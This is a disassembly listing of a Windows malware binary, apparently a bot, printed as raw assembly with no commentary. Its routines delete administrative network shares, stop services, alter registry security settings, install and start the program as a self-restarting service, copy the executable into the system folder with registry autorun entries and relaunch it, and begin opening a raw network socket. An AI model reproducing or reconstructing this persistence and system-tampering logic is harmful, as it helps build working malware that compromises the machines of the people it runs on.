cmp [ebp+arg_14], edx
jnz short locret_421A44
cmp [ebp+arg_0], edx
mov ecx, offset aSecured ; "Secured"
jnz short loc_4219FF
mov ecx, offset aUnsecure ; "Unsecure"
mov eax, offset aJvatg1988z81 ; "jVATg1988z81"
loc_4219F2: ; CODE XREF: sub_421783+281j
push [ebp+var_4]
push edx
push ecx
push eax
push offset aSFailedToSRegi ; "%s Failed to %s Registry, (%.2d/%.2d)"
jmp short loc_421A36
; ---------------------------------------------------------------------------
loc_4219FF: ; CODE XREF: sub_421783+263j
mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
jmp short loc_4219F2
; ---------------------------------------------------------------------------
loc_421A06: ; CODE XREF: sub_421783+24Aj
cmp [ebp+arg_10], edx
jnz short locret_421A44
cmp [ebp+arg_C], edx
jnz short locret_421A44
cmp [ebp+arg_14], edx
jnz short locret_421A44
cmp [ebp+arg_0], edx
mov ecx, offset aSecure ; "Secure"
jnz short loc_421A46
mov ecx, offset aUnsecure ; "Unsecure"
mov eax, offset aJvatg1988z81 ; "jVATg1988z81"
loc_421A29: ; CODE XREF: sub_421783+2C8j
push [ebp+var_4]
push [ebp+var_8]
push ecx
push eax
push offset aSRegistryS_2d_ ; "%s Registry %s, (%.2d/%.2d)"
loc_421A36: ; CODE XREF: sub_421783+27Aj
push [ebp+arg_8]
push [ebp+arg_4]
call sub_41CD84
add esp, 1Ch
locret_421A44: ; CODE XREF: sub_421783+24Fj
; sub_421783+254j ...
leave
retn
; ---------------------------------------------------------------------------
loc_421A46: ; CODE XREF: sub_421783+29Aj
mov eax, offset aFfec81uznt81 ; "fFEC81UzNT81"
jmp short loc_421A29
sub_421783 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421A4D proc near ; CODE XREF: sub_421F40+4Ep
; sub_421F40+B6p
var_4E54 = byte ptr -4E54h
var_2744 = byte ptr -2744h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, 4E54h
call sub_429A90
push ebx
xor ebx, ebx
cmp [ebp+arg_0], ebx
push esi
push edi
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
jz loc_421C88
cmp [ebp+arg_14], ebx
mov [ebp+arg_0], ebx
mov [ebp+var_C], ebx
mov [ebp+var_10], ebx
jnz short loc_421A9F
cmp [ebp+arg_C], ebx
jnz short loc_421A9F
push offset aErased ; "erased"
push offset aFfec81uznt81 ; "fFEC81UzNT81"
lea eax, [ebp+var_2744]
push offset dword_44F104
push eax
call sub_429A33
add esp, 10h
loc_421A9F: ; CODE XREF: sub_421A4D+2Dj
; sub_421A4D+32j ...
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push ebx
call dword_456E20
cmp eax, ebx
mov [ebp+var_14], eax
jz loc_421B4A
cmp eax, 0EAh
jz short loc_421B4A
xor esi, esi
loc_421AD1: ; CODE XREF: sub_421A4D+F6j
push ebx
push off_44EB98[esi]
push ebx
call dword_456D9C
test eax, eax
jnz short loc_421B3A
cmp [ebp+arg_14], ebx
jnz short loc_421B37
cmp [ebp+arg_C], ebx
jnz short loc_421B37
cmp [ebp+arg_10], ebx
jz short loc_421B37
cmp [ebp+var_4], ebx
jle short loc_421B0A
lea eax, [ebp+var_2744]
push offset dword_44F100
push eax
call sub_42A510
pop ecx
pop ecx
loc_421B0A: ; CODE XREF: sub_421A4D+A8j
push off_44EB98[esi]
lea eax, [ebp+var_4E54]
push offset off_44F0FC
push eax
call sub_429A33
lea eax, [ebp+var_4E54]
push eax
lea eax, [ebp+var_2744]
push eax
call sub_42A510
add esp, 14h
loc_421B37: ; CODE XREF: sub_421A4D+99j
; sub_421A4D+9Ej ...
inc [ebp+var_4]
loc_421B3A: ; CODE XREF: sub_421A4D+94j
add esi, 8
cmp esi, 138h
jb short loc_421AD1
jmp loc_421BDC
; ---------------------------------------------------------------------------
loc_421B4A: ; CODE XREF: sub_421A4D+75j
; sub_421A4D+80j
mov edi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+arg_0], ebx
jb short loc_421BD1
loc_421B55: ; CODE XREF: sub_421A4D+182j
mov esi, [edi]
push esi
call sub_42A937
cmp word ptr [esi+eax*2-2], 24h
pop ecx
jnz short loc_421BC8
push 0
push esi
push 0
call dword_456D9C
test eax, eax
jnz short loc_421BC8
cmp [ebp+arg_14], eax
jnz short loc_421BC5
cmp [ebp+arg_C], eax
jnz short loc_421BC5
cmp [ebp+arg_10], eax
jz short loc_421BC5
cmp [ebp+var_4], eax
jle short loc_421B9C
lea eax, [ebp+var_2744]
push offset dword_44F100
push eax
call sub_42A510
pop ecx
pop ecx
loc_421B9C: ; CODE XREF: sub_421A4D+13Aj
push dword ptr [edi]
lea eax, [ebp+var_4E54]
push offset off_44F0FC
push eax
call sub_429A33
lea eax, [ebp+var_4E54]
push eax
lea eax, [ebp+var_2744]
push eax
call sub_42A510
add esp, 14h
loc_421BC5: ; CODE XREF: sub_421A4D+12Bj
; sub_421A4D+130j ...
inc [ebp+var_4]
loc_421BC8: ; CODE XREF: sub_421A4D+117j
; sub_421A4D+126j
add edi, 28h
inc ebx
cmp ebx, [ebp+arg_0]
jbe short loc_421B55
loc_421BD1: ; CODE XREF: sub_421A4D+106j
push [ebp+var_8]
call dword_456FC0
xor ebx, ebx
loc_421BDC: ; CODE XREF: sub_421A4D+F8j
cmp [ebp+var_14], 0EAh
jz loc_421A9F
cmp [ebp+arg_10], ebx
jz short loc_421C5A
cmp [ebp+arg_14], ebx
jnz loc_421DC5
cmp [ebp+arg_C], ebx
jnz loc_421DC5
cmp [ebp+var_4], ebx
jnz short loc_421C14
loc_421C05: ; CODE XREF: sub_421A4D+222j
push offset aErased ; "erased"
push offset aFfec81uznt81 ; "fFEC81UzNT81"
jmp loc_421D77
; ---------------------------------------------------------------------------
loc_421C14: ; CODE XREF: sub_421A4D+1B6j
push [ebp+var_4]
push offset aErased ; "erased"
push offset aTotalSharesSD ; " Total shares: [%s: %d]"
loc_421C21: ; CODE XREF: sub_421A4D+348j
lea eax, [ebp+var_4E54]
push eax
call sub_429A33
lea eax, [ebp+var_4E54]
push eax
lea eax, [ebp+var_2744]
push eax
call sub_42A510
lea eax, [ebp+var_2744]
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_41CD84
add esp, 24h
jmp loc_421DC5
; ---------------------------------------------------------------------------
loc_421C5A: ; CODE XREF: sub_421A4D+19Fj
cmp [ebp+arg_14], ebx
jnz loc_421DC5
cmp [ebp+arg_C], ebx
jnz loc_421DC5
cmp [ebp+var_4], ebx
jz short loc_421C05
push [ebp+var_4]
push offset aErased ; "erased"
push offset aFfec81uznt81 ; "fFEC81UzNT81"
push offset aSTotalSharesSD ; "%s Total shares %s: [%d]"
jmp loc_421DB7
; ---------------------------------------------------------------------------
loc_421C88: ; CODE XREF: sub_421A4D+1Bj
cmp [ebp+arg_14], ebx
mov edi, offset aCreated ; "created"
jnz short loc_421CB1
cmp [ebp+arg_C], ebx
jnz short loc_421CB1
push edi
push offset aJvatg1988z81 ; "jVATg1988z81"
lea eax, [ebp+var_2744]
push offset dword_44F104
push eax
call sub_429A33
add esp, 10h
loc_421CB1: ; CODE XREF: sub_421A4D+243j
; sub_421A4D+248j
mov [ebp+arg_0], ebx
xor esi, esi
loc_421CB6: ; CODE XREF: sub_421A4D+30Aj
mov eax, off_44EB98[esi]
mov [ebp+var_30], ebx
mov [ebp+var_34], eax
mov eax, dword_44EB9C[esi]
mov [ebp+var_1C], eax
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_34]
push eax
push 2
push ebx
mov [ebp+var_2C], offset aUnloading ; "Unloading"
mov [ebp+var_28], ebx
mov [ebp+var_24], 4
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
call dword_456DC0
test eax, eax
jnz short loc_421D4E
cmp [ebp+arg_14], ebx
jnz short loc_421D4B
cmp [ebp+arg_C], ebx
jnz short loc_421D4B
cmp [ebp+arg_10], ebx
jz short loc_421D4B
cmp [ebp+var_8], ebx
jle short loc_421D1E
lea eax, [ebp+var_2744]
push offset dword_44F100
push eax
call sub_42A510
pop ecx
pop ecx
loc_421D1E: ; CODE XREF: sub_421A4D+2BCj
push off_44EB98[esi]
lea eax, [ebp+var_4E54]
push offset off_44F0FC
push eax
call sub_429A33
lea eax, [ebp+var_4E54]
push eax
lea eax, [ebp+var_2744]
push eax
call sub_42A510
add esp, 14h
loc_421D4B: ; CODE XREF: sub_421A4D+2ADj
; sub_421A4D+2B2j ...
inc [ebp+var_8]
loc_421D4E: ; CODE XREF: sub_421A4D+2A8j
add esi, 8
cmp esi, 138h
jb loc_421CB6
cmp [ebp+arg_10], ebx
jz short loc_421D9A
cmp [ebp+arg_14], ebx
jnz short loc_421DC5
cmp [ebp+arg_C], ebx
jnz short loc_421DC5
cmp [ebp+var_8], ebx
jnz short loc_421D8C
loc_421D71: ; CODE XREF: sub_421A4D+35Aj
push edi
push offset aJvatg1988z81 ; "jVATg1988z81"
loc_421D77: ; CODE XREF: sub_421A4D+1C2j
push offset aSNoSharesS_ ; "%s No shares %s."
push [ebp+arg_8]
push [ebp+arg_4]
call sub_41CD84
add esp, 14h
jmp short loc_421DC5
; ---------------------------------------------------------------------------
loc_421D8C: ; CODE XREF: sub_421A4D+322j
push [ebp+var_8]
push edi
push offset aTotalSharesS_0 ; " Total shares [%s: %d]"
jmp loc_421C21
; ---------------------------------------------------------------------------
loc_421D9A: ; CODE XREF: sub_421A4D+313j
cmp [ebp+arg_C], ebx
jnz short loc_421DC5
cmp [ebp+arg_14], ebx
jnz short loc_421DC5
cmp [ebp+var_8], ebx
jz short loc_421D71
push [ebp+var_8]
push edi
push offset aJvatg1988z81 ; "jVATg1988z81"
push offset aSTotalShares_0 ; "%s Total shares [%s: %d]"
loc_421DB7: ; CODE XREF: sub_421A4D+236j
push [ebp+arg_8]
push [ebp+arg_4]
call sub_41CD84
add esp, 18h
loc_421DC5: ; CODE XREF: sub_421A4D+1A4j
; sub_421A4D+1ADj ...
pop edi
pop esi
pop ebx
leave
retn
sub_421A4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421DCA proc near ; CODE XREF: sub_421F40+38p
; sub_421F40+85p
var_24 = byte ptr -24h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
xor edi, edi
mov [ebp+var_4], edi
mov esi, offset aFfec81uznt81 ; "fFEC81UzNT81"
loc_421DDD: ; CODE XREF: sub_421DCA+119j
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call dword_456F08 ; OpenSCManagerA
push 0F01FFh
mov [ebp+var_8], eax
push off_44DF48[edi]
push eax
call dword_456DA8 ; OpenServiceA
mov ebx, eax
test ebx, ebx
jnz short loc_421E46
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 424h
jnz loc_421ECD
xor eax, eax
cmp [ebp+arg_C], eax
jz loc_421ECD
cmp [ebp+arg_10], eax
jnz loc_421ECD
cmp [ebp+arg_8], eax
jnz loc_421ECD
push off_44DF58[edi]
push esi
push offset aSTheSServiceDo ; "%s The %s service does not exist."
jmp short loc_421EBF
; ---------------------------------------------------------------------------
loc_421E46: ; CODE XREF: sub_421DCA+3Ej
lea eax, [ebp+var_24]
push eax
push 1
push ebx
call dword_456E24 ; ControlService
test eax, eax
jz short loc_421E94
lea eax, [ebp+var_24]
push eax
push 1
push ebx
call dword_456E24 ; ControlService
xor eax, eax
cmp [ebp+arg_C], eax
jz short loc_421E8F
cmp [ebp+arg_10], eax
jnz short loc_421E8F
cmp [ebp+arg_8], eax
jnz short loc_421E8F
push off_44DF58[edi]
push esi
push offset aSSServiceStopp ; "%s %s service stopped."
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CD84
add esp, 14h
loc_421E8F: ; CODE XREF: sub_421DCA+9Fj
; sub_421DCA+A4j ...
inc [ebp+var_4]
jmp short loc_421ECD
; ---------------------------------------------------------------------------
loc_421E94: ; CODE XREF: sub_421DCA+8Bj
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 426h
jnz short loc_421ECD
cmp [ebp+arg_C], 0
jz short loc_421ECD
cmp [ebp+arg_10], 0
jnz short loc_421ECD
cmp [ebp+arg_8], 0
jnz short loc_421ECD
push off_44DF58[edi]
push esi
push offset aSTheSServiceWa ; "%s The %s service was not started."
loc_421EBF: ; CODE XREF: sub_421DCA+7Aj
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CD84
add esp, 14h
loc_421ECD: ; CODE XREF: sub_421DCA+4Bj
; sub_421DCA+56j ...
push ebx
call dword_456DC4 ; CloseServiceHandle
push [ebp+var_8]
call dword_456DC4 ; CloseServiceHandle
add edi, 4
cmp edi, 10h
jl loc_421DDD
xor eax, eax
cmp [ebp+var_4], eax
jnz short loc_421F15
cmp [ebp+arg_10], eax
jnz short loc_421F3B
cmp [ebp+arg_8], eax
jnz short loc_421F3B
cmp [ebp+arg_C], eax
jnz short loc_421F3B
push esi
push offset aSNoServicesSto ; "%s No services stopped."
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CD84
add esp, 10h
jmp short loc_421F3B
; ---------------------------------------------------------------------------
loc_421F15: ; CODE XREF: sub_421DCA+124j
cmp [ebp+arg_10], eax
jnz short loc_421F3B
cmp [ebp+arg_8], eax
jnz short loc_421F3B
cmp [ebp+arg_C], eax
jnz short loc_421F3B
push [ebp+var_4]
push esi
push offset aSTotalServices ; "%s Total services stopped: %d"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41CD84
add esp, 14h
loc_421F3B: ; CODE XREF: sub_421DCA+129j
; sub_421DCA+12Ej ...
pop edi
pop esi
pop ebx
leave
retn
sub_421DCA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F40 proc near ; DATA XREF: sub_40A938+ADBo
; sub_40A938+9E77o ...
var_C4 = dword ptr -0C4h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0C4h
mov eax, [ebp+arg_0]
push esi
push edi
push 31h
pop ecx
mov esi, eax
lea edi, [ebp+var_C4]
rep movsd
xor edi, edi
xor esi, esi
inc edi
cmp [ebp+var_2C], esi
mov [eax+0BCh], edi
jz short loc_421FA3
loc_421F6B: ; CODE XREF: sub_421F40+61j
cmp dword_457014, esi
jnz short loc_421F96
push edi
push esi
push edi
push esi
push esi
call sub_421DCA
push edi
push esi
push edi
push esi
push esi
push edi
call sub_421783
push edi
push esi
push edi
push esi
push esi
push edi
call sub_421A4D
add esp, 44h
loc_421F96: ; CODE XREF: sub_421F40+31j
push 0C3500h
call dword_43718C ; Sleep
jmp short loc_421F6B
; ---------------------------------------------------------------------------
loc_421FA3: ; CODE XREF: sub_421F40+29j
cmp dword_457014, esi
mov edi, [ebp+var_C4]
jnz short loc_421FFE
cmp [ebp+var_30], esi
jz short loc_421FCD
push esi
lea eax, [ebp+var_C0]
push [ebp+var_14]
push [ebp+var_10]
push eax
push edi
call sub_421DCA
add esp, 14h
loc_421FCD: ; CODE XREF: sub_421F40+74j
push esi
lea eax, [ebp+var_C0]
push [ebp+var_14]
push [ebp+var_10]
push eax
push edi
push [ebp+var_30]
call sub_421783
push esi
lea eax, [ebp+var_C0]
push [ebp+var_14]
push [ebp+var_10]
push eax
push edi
push [ebp+var_30]
call sub_421A4D
add esp, 30h
loc_421FFE: ; CODE XREF: sub_421F40+6Fj
push [ebp+var_40]
call sub_42355A
pop ecx
push esi
call dword_437170 ; ExitThread
pop edi
pop esi
loc_422010: ; DATA XREF: sub_42207E+12o
cmp [esp+0C8h+var_C4], 5
push esi
jnz short loc_42205F
mov esi, offset dword_457DFC
mov ecx, esi
call sub_41DA9A
test al, al
jz short loc_422055
push offset aSystemShutting ; "System shutting down."
push esi
call sub_41C9EE
pop ecx
pop ecx
push 3E8h
call dword_43718C ; Sleep
mov ecx, esi
call sub_41C9BC
call dword_456E38 ; WSACleanup
push 0
call dword_4370C4 ; ExitProcess
loc_422055: ; CODE XREF: sub_421F40+E6j
mov dword_46AFD8, 7
loc_42205F: ; CODE XREF: sub_421F40+D6j
push offset dword_46AFD4
push dword_46AFD0
call dword_456E50 ; SetServiceStatus
test eax, eax
jnz short loc_42207A
call dword_43716C ; RtlGetLastWin32Error
loc_42207A: ; CODE XREF: sub_421F40+132j
pop esi
retn 4
sub_421F40 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42207E proc near ; DATA XREF: sub_418D49+8Bo
var_4 = byte ptr -4
push ecx
push esi
push edi
push 4
xor esi, esi
pop edi
mov dword_46AFD4, 30h
push offset loc_422010
push offset dword_4439B0
mov dword_46AFD8, 2
mov dword_46AFDC, edi
mov dword_46AFE0, esi
mov dword_46AFE4, esi
mov dword_46AFE8, esi
mov dword_46AFEC, esi
call dword_456F30 ; RegisterServiceCtrlHandlerA
push offset dword_46AFD4
push eax
mov dword_46AFD0, eax
mov dword_46AFD8, edi
mov dword_46AFE8, esi
mov dword_46AFEC, esi
call dword_456E50 ; SetServiceStatus
lea eax, [esp+0Ch+var_4]
push eax
push esi
push esi
push offset sub_42222E
push esi
push esi
call dword_43717C ; CreateThread
mov edi, eax
cmp edi, esi
jz short loc_422115
push 0FFFFFFFFh
push edi
call dword_43707C ; WaitForSingleObject
push edi
call dword_437044 ; CloseHandle
loc_422115: ; CODE XREF: sub_42207E+85j
pop edi
xor eax, eax
pop esi
pop ecx
retn
sub_42207E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42211B proc near ; CODE XREF: sub_418D49+160p
; sub_418D49+185p
var_104 = byte ptr -104h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_104]
push offset aS_4 ; "\"%s\""
push eax
call sub_429A33
add esp, 0Ch
xor esi, esi
push 2
push esi
push esi
call dword_456F08 ; OpenSCManagerA
cmp eax, esi
mov dword_46AFCC, eax
jnz short loc_42215B
push [ebp+arg_0]
call sub_422394
pop ecx
loc_42215B: ; CODE XREF: sub_42211B+35j
push esi
push esi
push esi
push esi
lea eax, [ebp+var_104]
push esi
push eax
push esi
push 2
push 110h
push 0F01FFh
push offset dword_4439CC
push offset dword_4439B0
push dword_46AFCC
call dword_456F98 ; CreateServiceA
mov edi, eax
cmp edi, esi
jnz short loc_4221AF
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 436h
jz short loc_4221BA
cmp eax, 431h
jz short loc_4221BA
push [ebp+arg_0]
call sub_422394
pop ecx
jmp short loc_4221BF
; ---------------------------------------------------------------------------
loc_4221AF: ; CODE XREF: sub_42211B+73j
push offset loc_4439E8
call sub_42226C
pop ecx
loc_4221BA: ; CODE XREF: sub_42211B+80j
; sub_42211B+87j
call sub_4221D8
loc_4221BF: ; CODE XREF: sub_42211B+92j
push edi
call dword_456DC4 ; CloseServiceHandle
push dword_46AFCC
call dword_456DC4 ; CloseServiceHandle
pop edi
xor eax, eax
pop esi
leave
retn
sub_42211B endp
; =============== S U B R O U T I N E =======================================
sub_4221D8 proc near ; CODE XREF: sub_42211B:loc_4221BAp
push esi
push 0F003Fh
push 0
push 0
call dword_456F08 ; OpenSCManagerA
test eax, eax
mov dword_46AFCC, eax
jz short loc_42222A
push 0F01FFh
push offset dword_4439B0
push eax
call dword_456DA8 ; OpenServiceA
mov esi, eax
test esi, esi
jz short loc_42222A
push 0
push 0
push esi
call dword_456DB0 ; StartServiceA
test eax, eax
jz short loc_42222A
push dword_46AFCC
call dword_456DC4 ; CloseServiceHandle
push esi
call dword_456DC4 ; CloseServiceHandle
loc_42222A: ; CODE XREF: sub_4221D8+17j
; sub_4221D8+2Ej ...
xor eax, eax
pop esi
retn
sub_4221D8 endp
; =============== S U B R O U T I N E =======================================
sub_42222E proc near ; DATA XREF: sub_42207E+74o
var_4 = byte ptr -4
push ecx
push esi
push edi
lea eax, [esp+0Ch+var_4]
xor edi, edi
push eax
push edi
push edi
push offset sub_418EDB
push edi
push edi
call dword_43717C ; CreateThread
mov esi, eax
cmp esi, edi
jnz short loc_422255
pop edi
xor eax, eax
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
loc_422255: ; CODE XREF: sub_42222E+1Dj
push 0FFFFFFFFh
push esi
call dword_43707C ; WaitForSingleObject
push esi
call dword_437044 ; CloseHandle
push edi
call dword_437170 ; ExitThread
sub_42222E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42226C proc near ; CODE XREF: sub_42211B+99p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
push 0F003Fh
inc edi
push ebx
push ebx
mov [ebp+var_8], edi
call dword_456F08 ; OpenSCManagerA
cmp eax, ebx
mov dword_46AFCC, eax
jz short loc_4222F7
mov esi, offset dword_4439B0
push 0F01FFh
push esi
push eax
call dword_456DA8 ; OpenServiceA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_4222F7
push dword_46AFCC
call dword_456DE0 ; LockServiceDatabase
cmp eax, ebx
mov [ebp+var_14], eax
jnz short loc_422309
call dword_43716C ; RtlGetLastWin32Error
cmp eax, 41Fh
jnz short loc_4222F7
mov ebx, 10Ch
push ebx
push 40h
call dword_437124 ; LocalAlloc
test eax, eax
mov [ebp+var_C], eax
jz short loc_4222F7
lea ecx, [ebp+var_18]
push ecx
push ebx
push eax
push dword_46AFCC
call dword_456E68 ; QueryServiceLockStatusA
test eax, eax
jnz short loc_4222FE
loc_4222F7: ; CODE XREF: sub_42226C+25j
; sub_42226C+3Ej ...
xor eax, eax
jmp loc_42238F
; ---------------------------------------------------------------------------
loc_4222FE: ; CODE XREF: sub_42226C+89j
push [ebp+var_C]
call dword_43703C ; LocalFree
xor ebx, ebx
loc_422309: ; CODE XREF: sub_42226C+51j
push 2
push esi
push dword_46AFCC
call dword_456DA8 ; OpenServiceA
mov dword_46AFCC, eax
lea eax, [ebp+var_20]
mov [ebp+var_24], eax
lea eax, [ebp+var_34]
push eax
push 2
push [ebp+var_4]
mov [ebp+var_1C], 0BB8h
mov [ebp+var_20], edi
mov [ebp+var_28], edi
mov [ebp+var_2C], ebx
mov [ebp+var_30], ebx
mov [ebp+var_34], 0Ah
call dword_456FF0 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_422353
mov [ebp+var_8], ebx
loc_422353: ; CODE XREF: sub_42226C+E2j
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push edi
push [ebp+var_4]
call dword_456FF0 ; ChangeServiceConfig2A
test eax, eax
jnz short loc_42236E
mov [ebp+var_8], ebx
loc_42236E: ; CODE XREF: sub_42226C+FDj
push [ebp+var_14]
call dword_456F34 ; UnlockServiceDatabase
push [ebp+var_4]
call dword_456DC4 ; CloseServiceHandle
push dword_46AFCC
call dword_456DC4 ; CloseServiceHandle
mov eax, [ebp+var_8]
loc_42238F: ; CODE XREF: sub_42226C+8Dj
pop edi
pop esi
pop ebx
leave
retn
sub_42226C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422394 proc near ; CODE XREF: sub_42211B+3Ap
; sub_42211B+8Cp
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_15B = byte ptr -15Bh
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 364h
push ebx
push esi
push edi
lea eax, [ebp+var_364]
push 104h
xor ebx, ebx
push eax
push ebx
call dword_437070 ; GetModuleHandleA
push eax
call dword_437178 ; GetModuleFileNameA
push 40h
xor eax, eax
pop ecx
lea edi, [ebp+var_15B]
mov [ebp+var_15C], bl
push ebx
rep stosd
push dword_44398C
stosw
stosb
lea eax, [ebp+var_15C]
push eax
push ebx
call dword_437258
mov esi, dword_4370A4
lea eax, [ebp+var_15C]
push eax
push offset dword_457CF8
call esi ; dword_4370A4
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
call esi ; dword_4370A4
mov esi, offset dword_443990
lea eax, [ebp+var_260]
push esi
push eax
push offset dword_445D48
push [ebp+arg_0]
call sub_429A33
lea eax, [ebp+var_260]
push esi
push eax
call sub_4277E9
add esp, 18h
test eax, eax
jz loc_4224ED
push 1
mov edi, offset byte_443B3B
push [ebp+arg_0]
mov esi, offset dword_443A3C
push edi
push esi
push 80000001h
call sub_421340
push 1
push [ebp+arg_0]
push edi
push esi
push dword_443A38
call sub_421340
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_429690
push 44h
lea eax, [ebp+var_58]
pop esi
push esi
push ebx
push eax
call sub_429690
add esp, 40h
lea eax, [ebp+var_14]
mov [ebp+var_58], esi
xor esi, esi
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_260]
push eax
inc esi
push ebx
push 28h
push esi
push ebx
push ebx
push ebx
push [ebp+arg_0]
mov [ebp+var_4C], offset byte_454A34
mov [ebp+var_2C], esi
mov [ebp+var_28], bx
call dword_437188 ; CreateProcessA
test eax, eax
jz short loc_4224E6
push 0C8h
call dword_43718C ; Sleep
push [ebp+var_14]
mov esi, dword_437044
call esi ; dword_437044
push [ebp+var_10]
call esi ; dword_437044
call dword_456E38 ; WSACleanup
push ebx
call dword_4370C4 ; ExitProcess
loc_4224E6: ; CODE XREF: sub_422394+128j
push esi
call dword_4370C4 ; ExitProcess
loc_4224ED: ; CODE XREF: sub_422394+A3j
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push offset sub_418EDB
push ebx
push ebx
call dword_43717C ; CreateThread
mov esi, eax
cmp esi, ebx
jz short loc_422516
push 0FFFFFFFFh
push esi
call dword_43707C ; WaitForSingleObject
push esi
call dword_437044 ; CloseHandle
loc_422516: ; CODE XREF: sub_422394+170j
pop edi
pop esi
pop ebx
leave
retn
sub_422394 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42251B proc near ; CODE XREF: sub_42283A+1Fp
var_2944 = byte ptr -2944h
var_234 = byte ptr -234h
var_A4 = byte ptr -0A4h
var_A3 = byte ptr -0A3h
var_98 = byte ptr -98h
var_90 = byte ptr -90h
var_7C = byte ptr -7Ch
var_68 = word ptr -68h
var_66 = word ptr -66h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
var_3A = word ptr -3Ah
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, 2944h
call sub_429A90
push ebx
push esi
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_A3]
mov [ebp+var_A4], bl
mov esi, 100h
rep stosd
stosw
push esi
stosb
call sub_42B407
pop ecx
mov edi, eax
push esi
push edi
call dword_456F2C ; gethostname
push edi
call dword_456FB4 ; gethostbyname
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_234]
push eax
push 202h
call dword_4372B4
test eax, eax
jz short loc_422587
push ebx
call dword_437170 ; ExitThread
loc_422587: ; CODE XREF: sub_42251B+63j
xor esi, esi
inc esi
push esi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4372C4
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
